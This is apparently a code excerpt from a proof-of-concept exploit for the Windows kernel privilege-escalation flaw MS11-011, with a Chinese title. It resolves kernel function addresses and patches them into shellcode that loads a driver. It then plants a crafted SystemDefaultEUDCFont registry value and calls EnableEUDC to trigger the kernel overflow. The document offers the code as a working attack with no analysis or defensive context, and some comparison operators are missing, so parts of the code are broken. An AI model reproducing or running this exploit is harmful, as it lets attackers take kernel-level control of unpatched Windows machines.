MS11-011 - Windows 内核权限提升漏洞

// Get the running kernel file name
HMODULE hDll = GetModuleHandle(L"ntdll.dll");
pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
ULONG AllocSize = 0;
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);

pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);

//Relocation to the running kernel base
DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;

free(pModInfo);

// For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
// so we need a valid pool address to avoid BSOD.

if(vi.dwBuildNumber 7600)    
{
    FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);

    HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"LocalPoC");
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
    AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
    fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

    pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
    fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

    for(DWORD i = 0; i pHandleInfo->NumberOfHandles; i++)
    {
        if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
        {
            *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
            break;
        }
    }
    free(pHandleInfo);
}
else
{
    FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
}

// Now fills the API addresses needed
FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
FreeLibrary(hKernel);

// Here we tell the shellcode(PE loader) where the driver buffer is.
FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);

UINT codepage = GetACP();
TCHAR tmpstr[256];
_stprintf_s(tmpstr, TEXT("EUDC%d"), codepage);        // Get current code page
HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));

RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);

__try
{
    EnableEUDC(TRUE);    
}
__except(1)
{
}
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
RegCloseKey(hKey);